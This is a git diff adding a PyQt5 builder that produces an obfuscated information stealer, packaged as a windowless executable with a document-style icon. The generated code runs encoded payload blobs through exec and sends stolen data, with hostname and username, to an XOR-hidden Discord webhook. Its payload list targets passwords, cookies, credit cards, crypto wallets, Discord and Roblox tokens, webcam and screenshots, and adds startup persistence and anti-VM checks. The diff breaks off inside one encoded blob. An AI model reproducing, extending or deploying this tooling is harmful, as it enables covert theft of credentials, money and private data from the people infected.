diff --git a/icons/doc_filetype_icon_177541.ico b/icons/doc_filetype_icon_177541.ico new file mode 100644 index 0000000..823962c Binary files /dev/null and b/icons/doc_filetype_icon_177541.ico differ diff --git a/icons/exe_filetype_icon_177539.ico b/icons/exe_filetype_icon_177539.ico new file mode 100644 index 0000000..602172a Binary files /dev/null and b/icons/exe_filetype_icon_177539.ico differ diff --git a/icons/filetype_mp_icon_177528.ico b/icons/filetype_mp_icon_177528.ico new file mode 100644 index 0000000..94a6fc3 Binary files /dev/null and b/icons/filetype_mp_icon_177528.ico differ diff --git a/icons/iso_filetype_icon_177534.ico b/icons/iso_filetype_icon_177534.ico new file mode 100644 index 0000000..08245f6 Binary files /dev/null and b/icons/iso_filetype_icon_177534.ico differ diff --git a/icons/more_icons_.txt b/icons/more_icons_.txt new file mode 100644 index 0000000..65abf0f --- /dev/null +++ b/icons/more_icons_.txt @@ -0,0 +1,2 @@ +download more here: https://icon-icons.com/ +cirqueira love u <3 \ No newline at end of file diff --git a/icons/pdf_filetype_icon_177525.ico b/icons/pdf_filetype_icon_177525.ico new file mode 100644 index 0000000..8a49391 Binary files /dev/null and b/icons/pdf_filetype_icon_177525.ico differ diff --git a/icons/pdf_icon_icon-icons.com_59963.ico b/icons/pdf_icon_icon-icons.com_59963.ico new file mode 100644 index 0000000..40c5619 Binary files /dev/null and b/icons/pdf_icon_icon-icons.com_59963.ico differ diff --git a/icons/png_filetype_icon_177523.ico b/icons/png_filetype_icon_177523.ico new file mode 100644 index 0000000..2f12b01 Binary files /dev/null and b/icons/png_filetype_icon_177523.ico differ diff --git a/icons/rar_filetype_icon_177520.ico b/icons/rar_filetype_icon_177520.ico new file mode 100644 index 0000000..0e5acd9 Binary files /dev/null and b/icons/rar_filetype_icon_177520.ico differ diff --git a/icons/z_filetype_zip_icon_177551.ico b/icons/z_filetype_zip_icon_177551.ico new file mode 100644 index 0000000..f1216c5 Binary files /dev/null and b/icons/z_filetype_zip_icon_177551.ico differ diff --git a/logos/sk_logo.png b/logos/sk_logo.png new file mode 100644 index 0000000..c3ae1d5 Binary files /dev/null and b/logos/sk_logo.png differ diff --git a/logos/sk_logo_background.png b/logos/sk_logo_background.png new file mode 100644 index 0000000..cb38dde Binary files /dev/null and b/logos/sk_logo_background.png differ diff --git a/main.py b/main.py new file mode 100644 index 0000000..447a1c1 --- /dev/null +++ b/main.py @@ -0,0 +1,16 @@ +import sys, time +from PyQt5.QtWidgets import QApplication +from src.main_window import MainWindow +from src.pages.splash import SplashScreen + +def main(): + app = QApplication(sys.argv) + window = MainWindow() + splash = SplashScreen() + splash.start() + window.show() + sys.exit(app.exec_()) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/output/output b/output/output new file mode 100644 index 0000000..e69de29 diff --git a/src/functions/build_manager.py b/src/functions/build_manager.py new file mode 100644 index 0000000..cc6d71a --- /dev/null +++ b/src/functions/build_manager.py @@ -0,0 +1,327 @@ +from src.functions.payload_manager import PayloadManager +from src.functions.tools import Tools +from collections import defaultdict +import os, subprocess, shutil + + +class BuildManager: + @staticmethod + def buildImports(selected_payloads: list) -> str: + grouped_from = defaultdict(set) + grouped_import = set() + + for method in selected_payloads: + payload = PayloadManager.getPayload(method) + reqs = payload.get("requirements", []) + + for req in reqs: + module = req["module"] + path = req["path"] + imp = req["import"] + + if imp is None: + if path: + grouped_import.add(f"{module}.{'.'.join(path)}") + else: + grouped_import.add(module) + else: + base = module if not path else f"{module}.{'.'.join(path)}" + grouped_from[base].add(imp) + + lines = [] + + for base, imports in grouped_from.items(): + imports_str = ", ".join(sorted(imports)) + lines.append(f"from {base} import {imports_str}") + + if grouped_import: + imports_str = ", ".join(sorted(grouped_import)) + lines.append(f"import {imports_str}") + + final_text = "\n".join(lines) + + return final_text + + @staticmethod + def buildDefaultFunctions(webhook_url: str): + tempFile = "\ntemp_dir = tempfile.gettempdir()" + fileName = """\nzip_filename = os.path.join(temp_dir, "SK_"+''.join(random.choices(string.ascii_letters + string.digits, k=16)) + '.zip')""" + webhook = f'\nwebhook_raw = "{Tools.protect_webhook(webhook_url)}"\n' + final_text = tempFile + fileName + webhook +'\n' + return final_text + + @staticmethod + def buildBlobFunction(selected_payloads: list): + funcs_blobs = {} + + for method in selected_payloads: + if method == 'DefaultImports': + continue + payload = PayloadManager.getPayload(method) + name = payload["name"] + blob = payload.get("blob", "") + func = payload.get("func", None) + + funcs_blobs[name] = { + "blob": blob, + "func": func + } + + # Gerar texto Python bonitinho + lines = ["funcs_blobs = {"] + + for name, data in funcs_blobs.items(): + blob_repr = repr(data["blob"]) + func_repr = repr(data["func"]) + + lines.append(f' {name!r}: {{ "blob": {blob_repr}, "func": {func_repr} }},') + + lines.append("}\n") + + return lines + + @staticmethod + def buildStealer(part1, part2, part3): + C = part1 + part2 + ''.join(part3) + """ +class CirqueiraLover: + @staticmethod + def de_webhook(webhook: str, chave: str = "CirqueiraAmaOEstadoDeSaoPaulo") -> str: + data = base64.urlsafe_b64decode(webhook.encode()) + dec_webhook = ''.join(chr(b ^ ord(chave[i % len(chave)])) for i, b in enumerate(data)) + return dec_webhook + + @staticmethod + def loader(blob: str) -> str: + b =base64.b64decode(blob) + b=zlib.decompress(b) + c=marshal.loads(b) + return c + + @staticmethod + def cleanup_file(filename: str) -> bool: + try: + if os.path.exists(filename): + os.remove(filename) + return True + else: + return False + except PermissionError as e: + print(e) + return False + except Exception as e: + return False + + @staticmethod + def send_discord(webhook_url: str, file_path: str) -> bool: + messages = ["We got him >:D", "I bring good news!", "The rat fell into the trap!", "I have a delivery for you!"] + content = f"**• {random.choice(messages)}**" + + embed = { + "title": "• Basic system infos:", + "color": 0xE53935, + "fields": [ + { + "name": "Hostname:", + "value": f"```{socket.gethostname()}```", + "inline": True + }, + { + "name": "Username:", + "value": f"```{getpass.getuser()}```", + "inline": True + }, + { + "name": "Machine:", + "value": f"```{platform.machine()}```", + "inline": True + }, + { + "name": "System:", + "value": f"```{platform.system()}```", + "inline": True + }, + { + "name": "Realease:", + "value": f"```{platform.release()}```", + "inline": True + }, + { + "name": "Version:", + "value": f"```{platform.version()}```", + "inline": True + } + ], + "footer": { + "text": "https://github.com/CirqueiraDev | @CirqueiraDev" + } + } + + try: + with open(file_path, "rb") as f: + files = {"file": (file_path, f)} + payload = { + "content": content, + "embeds": [embed] + } + + r = requests.post(webhook_url, data={"payload_json": json.dumps(payload)}, files=files, timeout=20) + return r.status_code in (200, 204) + except: + return False + + @staticmethod + def generateFile() -> bool: + safe = True + try: + with zipfile.ZipFile(zip_filename, 'w') as zip_file: + for name, info in funcs_blobs.items(): + print(info["func"]) + exec(CirqueiraLover.loader(info['blob']),globals()) + func = globals()[info["func"]] + if info["func"] == '_is_vm_or_debugged' or info["func"] == '_startup': + result = func() + if result == True and info["func"] == '_is_vm_or_debugged': + print('detected') + safe = False + return safe + else: + print('startup:', result) + else: + result = func(zip_file) + return safe + except Exception as e: + print('failed generate: ', e) + safe = False + return safe + +if __name__ == '__main__': + try: + webhook_url = CirqueiraLover.de_webhook(webhook_raw) + if CirqueiraLover.generateFile() == True: + print('not detected or not error') + CirqueiraLover.send_discord(webhook_url, zip_filename) + CirqueiraLover.cleanup_file(zip_filename) + except: + print('failed main') + pass +""" + + return C + + @staticmethod + def buildFinal(compress: bool, webhook_url: str, selected_payloads: list, file_name: str, file_type: str, file_icon_path=None, log=None) -> bool: + def write(msg): + if log: + log(msg) + + selected_payloads.append("DefaultImports") + + write("[1/6] Building imports...") + part1 = BuildManager.buildImports(selected_payloads) + + write("[2/6] Adding default functions...") + part2 = BuildManager.buildDefaultFunctions(webhook_url) + + write("[3/6] Generating payload blobs...") + part3 = BuildManager.buildBlobFunction(selected_payloads) + + write("[4/6] Building final stealer code...") + sk_code = BuildManager.buildStealer(part1, part2, part3) + + write("[5/6] Obfuscating code...") + protected_code = Tools.obfuscate_code(sk_code, compress) + + base_path = file_name + py_path = base_path + ".py" + + write(f"→ Writing output: {py_path}") + with open(py_path, "w", encoding="utf-8") as f: + f.write(protected_code) + + if file_type == "py": + write("✓ Build completed: .py generated successfully.") + return True + + if file_type == "pyw": + write("Converting .py → .pyw") + pyw_path = base_path + ".pyw" + os.rename(py_path, pyw_path) + write("✓ Build completed: .pyw generated successfully.") + return True + + if file_type == "exe": + write("Converting .py → .pyw") + pyw_path = base_path + ".pyw" + exe_path = base_path + ".exe" + os.rename(py_path, pyw_path) + + write("Running PyInstaller...") + + #write(f"→ Adding {len(part1 + '\n')} imports...") + + with open(pyw_path, "w", encoding="utf-8") as f: + f.write(part1 + '\n' + '\n' + protected_code) + + cmd = [ + "pyinstaller", + "--noconfirm", + "--onefile", + "--noconsole", + ] + + if file_icon_path: + write(f"→ Adding icon: {file_icon_path}") + cmd.append(f"--icon={file_icon_path}") + + cmd.append(pyw_path) + + write("→ Starting PyInstaller process...") + try: + process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + bufsize=1, + universal_newlines=True + ) + + # Lê output em tempo real + for line in process.stdout: + line = line.strip() + if line: + write(f" {line}") + + process.wait() + + if process.returncode != 0: + write(f"✗ PyInstaller failed with code {process.returncode}") + return False + + except Exception as e: + write(f"✗ PyInstaller error: {str(e)}") + return False + + dist_generated = f"dist/{os.path.basename(base_path)}.exe" + + if os.path.exists(dist_generated): + write("→ Moving final EXE to output folder...") + shutil.move(dist_generated, exe_path) + else: + write("✗ ERROR: EXE not generated by PyInstaller") + return False + + write("→ Cleaning temporary files...") + if os.path.exists(pyw_path): os.remove(pyw_path) + shutil.rmtree("build", ignore_errors=True) + shutil.rmtree("dist", ignore_errors=True) + + spec_file = os.path.basename(base_path) + ".spec" + if os.path.exists(spec_file): + os.remove(spec_file) + + write("✓ Build completed: EXE generated successfully.") + return True + + write("✗ ERROR: invalid file_type") + return False \ No newline at end of file diff --git a/src/functions/payload_manager.py b/src/functions/payload_manager.py new file mode 100644 index 0000000..f658c82 --- /dev/null +++ b/src/functions/payload_manager.py @@ -0,0 +1,331 @@ +class PayloadManager: + @staticmethod + def getPayload(method): + payloads = { + 'Startup': Payloads.startup, + 'Anti-Tamper': Payloads.antitamper, + 'Apps': Payloads.apps, + 'Game Launchers': Payloads.game_launchers, + 'Wallets': Payloads.wallets, + 'Passwords': Payloads.passwords, + 'History': Payloads.history, + 'Extensions': Payloads.extensions, + 'Downloads': Payloads.downloads, + 'Cookies': Payloads.cookies, + 'Credit Cards': Payloads.credit_cards, + 'Files': Payloads.interesting_files, + 'Roblox Cookies': Payloads.roblox_cookies, + 'System Info': Payloads.system_info, + 'Discord Tokens': Payloads.discordTokens, + 'Anti VM/Debug': Payloads.anti_vm_or_debugged, + 'Screenshot': Payloads.screenshot, + 'Webcam': Payloads.webcam, + 'DefaultImports': Payloads.default_imports, + } + return payloads[method]() + +class Payloads: + @staticmethod + def startup(): + blob = ('eJy9VE1oG0cUnv3TjrRaJbH14/64DkqioIJEDqnB4KYYF6uhiePGTR0Xt2ajWf248q7YXUWykYoPKYg0EBMCNv2hojiuiy89BnoJvfSqFQsSA4ZAyKE3QS4ml3ZWtlVJVSjuoQP7ZnjzvW++efPePgMdgzqcX7iJ2QAI3AGfAkTNgjAd78RB8jE27jemhaNKwAmMDsDSEROo0KDPMBwdWPZohejX2t5twrDbZilRRarC9WNCTDdSYxBbopXAK/FcD55GjhKN+CL9LfieLjFdytrrCt+XC/ZwvfuKHMB+0Z3YirMvv7ObH7mQgNxIRJ5tomy3ra7EKr8eS/eJHt3v/VfdHVhX35NO9tzgFBrYJjWzy3Ro/+xY2gd7tF/637R7ka9X+3HOLrJFZpt0w267I0qc4f97v+LuG0UVue4oqrtyxL5RHPL3RhXBLDhDZrtb54HCFJh5kKdsbzgwPfWHDVplo3JBxgwxq0w0u4Lp7ErObs9nX21FMZNPK5ifmJl5f+LjCey8mo5rqq4mDMzPpRWk5vVV16whacbpq7KSw3BGU5OatKxjvuXNZbEDSRrheEl9ifkr6VuapK1g9xUpp8RTE0lZMXTMZdJKrrDKR+OqkkgnsVPKGapuh6f/JOkNezCt6pjNSkYK89ItvbVg9BXik7TkbQxlBen5NHHCbEYyEqq2jF2t+AMvu6SSOziSsiErt7FLLmQlBeV0WcMOPZUz0hnMxlVyby6eWlZR2IF5/VC7M5HOyIsH58kFA0NFzi8q0rKMHQk1gwiDaG8u2m4bqtt1fLo1sKBJxEmuaacULh5SaufBwR9X/5rYNdDwDK7FmmyAE/e8/oexjWsPrj2a3Ppg56OtD03vBct7oex8KnjrwnBNGN5MmMI5SzjXBIwz0BgIlCfLkw3RXxdHauJIhTPFkCWGmoCyN/3lyaeDI5tn1sfXx8vwueC5N14XgjUhWHnHFMKWEG4CzjlL7fkCD+c2Fh4sPAr+FP4xvHPZDI5awdHHwpP56sxC9fNUdUk3fYblM8pT5ak98eS9hbp4tiaerdw0xaglRm0tXTRb5+vBi7XgxV9mzeCYFRx7PPZEMX03LN+NXoY5U4xYYsQW/G8MX5i+65bvOokfev07/gf3N+7KJzs3zaFRa2i0LD6HnvvCXWH98mbJhBELRqowsgdd9+FduD5M8gJDFgxVYahxwl/27DdpmhPt7PEN6C6z+/v7DWFgbVq3G/FO7FTMD373s7E3mekw1Xqsn8ELu0u0EDEv4TipkFxGvqS9ffSObxHTZCiKatJvUINN8E+jhQnkLz9fiFs=') + return { + "name": "Startup", + "blob": blob, + "func": "_startup", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "sys", "path":[], "import": None}, + {"module": "shutil", "path":[], "import": None}, + ], + } + + @staticmethod + def antitamper(): + blob = ('eJx7zIAEGKH0Zx4gMZ0hhaGFIYohhTGYQZMpmRFJHQsQM4PUqYHVlSDJpTDWMCxjYmBYzYQwNIUJaAKzXxVfXn5JRmZeukJGalGqlcIttjwwV5PxFmtBUWZeCZDBXJVZUAwyTuEWd1FieXxaaV6yXkHlLe74xLySzJLE3ILUoiJ2qFOLJYBEA8NdFs4LXFIznC+yKFxhUbjAonCDW7jD4jPIbj9NRrDqlQxFHECqiA1I/OKwyc1PKc1JtSvighkkByQ+MDMyMn5gYmIU+cCASYD1AwBFyDyG') + return { + "name": "Anti Tamper", + "blob": blob, + "func": "_antitamper", + "requirements": [ + {"module": "os", "path":[], "import": None}, + ], + } + + @staticmethod + def apps(): + blob = ('eJytmFtsE9kZx8fj8TV24uBxLtgeHEhwLo7ZDWEDuwHixAG8mwuJA7ks4DqeiWNwbGs8IcnU2WWlPtCKhxRVIkVbEaFdYGGrzWPUPjSPeZxJp8KdCgmpWqnqk9FuJdqHqmeOnWBPDJuRapxz+eb//c53vjnneIa/I0UfVaH+wQSKewiJ/AKZQkhVEGlBI6oi3SHwp5Z0/zVDnYpEo+iyilRnVDcRGo0iCRWJLKMkVtJXk2hJH2OKkGvF/N0PqSGRRyiCPEN3LMuafXhp93hp9+Gl2+Oly+hu2ffhqd/rSRqK/a7vXllTlyNktKShlEAaSfUMRlYopFTIKCZIMSukVMooVZBiUUixkNXkgUcYIGG7JCsk4QpJtjKkGkiqVUiqJesegWvPdq+T9ZBzUCHnYJmI7JDkUEhykgR5SEZyQVKDQlIDeVg2tyOQ06iQ0wj+HZZF1ARJRxWSjsrWkRtSmhVSmmWUFkhpVUhpI9Wy7Hggp10hp10WjRdSjimkvEe+L4umA3KOK+R0kidknA8gp0shp2tPdk5CzimFnFPkhzLOR5DTrZDTvWctn4acMwo5Z/fkpwdyfAo5vj3x9EJOnyKOjuwj/TJOP4kBzjlFHA15jjxPXpDt0QAkfayQ9IlsPQ9AyqBCyqCMMgQpwwqzfJEckWVnlERnsOjBZb0Byej9yNWfXwHzXTYsG5crlk0ZE3yeSDH6N5Q1TTk2GSTHougj8Ov9bPcXHNCCy2bANV/X7urG6t+QdOVIj8DfszcxV+xHdQPOnMYz5jX9T6tVyJ3BI6CcRO6MLKonkQXVnUxCl7ck1HmLlIsV1dV/7M3Gior+21uybig3dsZYmhXg/0eQE/DcUIi6LoN+UZNB14xlvQ2l3iok8RHwxXZ91cBXvW9fJ/BFC761GewLWwbbr28GWasop1SyAslLGQN5uXQFgvyUrGzV24imsnHKskt/XfI0ad6PD1inv7wC4lmuXK5atmQsoH9ruVrRzqrMVMueTw8ozsv4Wzwqy454QJ630rNq2WqQ7ljVW3yt8pzfYQs74rPCjvhV4tr/bQaWslHI7oKC+I1745fv3xXVnZd5C2h9v2v7Z+ENqj6D0jZy4i13U3aOgXepyd13rfqM+h2e6jKeO29l9RnsHZ5YGU8sg4E3w6khtqYp2B8MBoaHQucCA/3BUN+F4UBff5OI+VKptKgbD8fjFJNmK8+H5yjXQHg+EZml6LRoGhju8w34Ll70+8Z8oq7QYKsv0skoHZ47F4tT6ebFkx+0iKZik6iZioTTs6yBlSovtUiJWh89l6SXWGMY1tCm711iqEgylhD104UWa9pp5b3Oz4dpMsyaB5KRcNwVZJJ0OEqJujh1k4qT06wxCq9LWtbsY5JzsYgrPxdRG4ZdMCCs87j+xSQ5n2bNFKy9C1DKGgtdSaLrjSXCiQjFVkznG5Bt+ji8uOgaiE1TNLPEWiLJOW883/FeB1dEQyBBAh3p72XrZ0AGQqH3vLG8iZz27kSrl7T5mffHqQhDz8+JuoVC6k1UwZQPow+kAMTNVkTyjXwYY/R8minMkK1ipF7eHzoZ8hnw90+w5vysQQT53IyH0+Hp2E5uTPk6b2SNC7CGwooBioxSNJjqTYqtjMNOHLR3hqfYJO0KzscYkMx8T9SkpS5rZGAXCqt748nIjchsOJbYGdL4xiRqCxOonN615bMyuBSh4rH5OdY0V2hBnLGPXkoxSS9Iu6gLp1JkmAmzlZFdI3RW9476Wd00TUKXKil/0+E0tTO+fsfAmiKFVn5JTFF0LJlgjSysoU0TZKjwnKiNJBMzsShrSEvdfCSjsSTjkjZJmq2A7b54jEowIuaXYtIDBJMX9qfAUoRCsVpqw+bOxmJtFDBFJVO8YIJelaMgH2kmTBeGwOlCv1gl6sfAUpH2GmvZabn8VPoGk0yJGgYmx8QULuRTk4qRIpYASNYcpNJpME8X3KesPhVmZr3MIiNq8gbU4xLRoWRLtYgm06I2SjFU4qaISTIRuy5tVW0qPc/E4qIpBYIDsBC4+bSIxRIzSVETTy6AjgFY5sDukRYJtRhLM4AEbhuVIEX9Ag30aQYsm1iajAFHsH5viDqaisMxNPA6OA/A/ZECbsFFPRtLhaRNJeLpfPCwlw5FZpOxCCWaJF2osI1EK+xJqQ3Fd48xAzSGpaPugDRMqLCIQnHpWBHxEhudDIPgo2INtKbyx1phSHDUieaSKGg3OGtpDyhEg5SRkDSUiDFLKVBKBhGjk0lGVIVEDXQQMTgXc3g6DQkhOO8qkADYCsUSITDhNA6IrjIfsYIOL4RmwMy8qSVRAydFDyH5/xhML4KH11tI1tG5PsPZT3NYXbahlfP2cg29nH1gtWO1Ywu7NZBteJ87EeAaApw9CG0Mh9VmG9xc21mu4SxnD0jGzbFbge+dhx5M3p9c+2yd4Z3dgrObw2peFGxL6428s0twdoFBCjbO/eGGn3f6BKePww5mdc4cotL4VC8ajjyuf1j/5MxGJ9/QIzT0cHoip0WM1b+b/jL6IH4/Dsbd7OKJTwTikxyC9KFDKKiuoJRUGWbQrKFEeZInBgRiACqH5UprsfJDnhgSiCGoHHk3cyvEXYvyxKxAzJYH1ymTy+k8cVUgrpbXHijWntpKcqFZnogJRAzKL8rltUVyru8SNz7NkZ+/QpBDPvRHWEK3wXdnZmuJJyYFYrJ8bmQRxbjJaZ6ICETkpyPaPMMTowIxCpVjciVerPyIJ4YFYhgqR9+Z7zNc8Mq7MlhTLD7NEyMCMQKVwXeGenJrnCcuCcSl8lRHsbabG5nkiSmBmCoPVpJemww8xROfCsSn5cGVxeITWy08MSYQY1A7INceLA1ikScmBGJiX+sfTG5cIMbLZ8LyRuvb7Nq6UJS1wl6NQ+1c6eROS5O7xv1shieiAhEtXpfl9Vzf5aIwpuTS+hJpsCgTk3KpVb5JrvFESCBCxbmYhuoImjtht2lvDeY+NGrM2baTOURncMKCN7lv+1caVw1rndkqK1fbxlW15RCt2fnCcfi549i249i6bUO7XsU7egRHTw7RVDthseLPoZjNmbUf+vLU2mXB7nlu79i2d/D2TsHeuWH4U9UfqviTAeFkYNseAEdkfXvW4XowdH+Id3gEh4dzeF6/zqEqAKhzrGKvwSdXBaJ5nbOoQIB6023J9tLdmUMOaWyvpILXH7mN3SZXAqtMtqKKs7q5CvcrhDDYft/77fnvhp4OgZPX0yN4eqAxhzrNtqy1dvXUtrVRCrjtiQNWWdz1HHdv4+4nGI+3C3g7B79ZWz3nbN+2tecQdXUb19EP6yzufo57t3HvE4bHOwW8k4NfIF69fPcamBbAGmCVxZ3P8cZtvHFtjMdbBbyVw1tfWuqeWxq2LQ1fH/7K/djz0PPk801s8zp/eEQ4PMIFx3nLhGCZ4CwT31ttv+m6d/ru6TWctx4VrEdzSHW180Wr5zv3U/d64zft34KwjLYmWPy2chVbDa/Zso0tOcRQ3wSLVf8LjxekYeDpwAa+wfAev+Dxrw6+8L73bfS7+NN41nVsHV9feOE6/JXucdXDqnUzELn8gsv/SqM+RvyIgGJ1OKdXO5uyrubHlQ8rnyxvJHnXkOAa4uBXulvSxcY16c7krNLIahDOv+oQd8tX0cfxh/H1s5v+LfdfgpeE4NTzYGQ7GOHIWT4YE4Ix/uh14ej1leEcqpZuuetB5f3KNeZJiK87LdSd5uC3dD38W+qCW2jBfw27L3UWDm/mdM3S721Ale04w9VeWGHuLd1dWnPwtV6h1svVejf9t01ZXS1nP8bpjknKa6psT5Ajrq6SD2L3Y1wzOI+7BaKbA9/Jq5zentWZueomTtckiXtUWc8JDj+74r8XuBtYjfF4swDGxJs3Om8bXlbgHIanI+AJhOtsGz2O8C6fYbQV225Rgc52Kzrq1W17tFL7ODrapf5zq//9KQeaddRMHNdmO1RS+zg60WXInvBpQeev3TVTVlQ8IF0QrehUrUa0aaS2A51q0Ay1qOADzzfID9J7Lj0Iiv/ou+fAK1ycOkOP7DwLHQFFTq1SqXLoVZXKlkPKl/RFoPsfvp3mnA==') + return { + "name": "Apps", + "blob": blob, + "func": "_apps", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + ], + } + + @staticmethod + def game_launchers(): + blob = ('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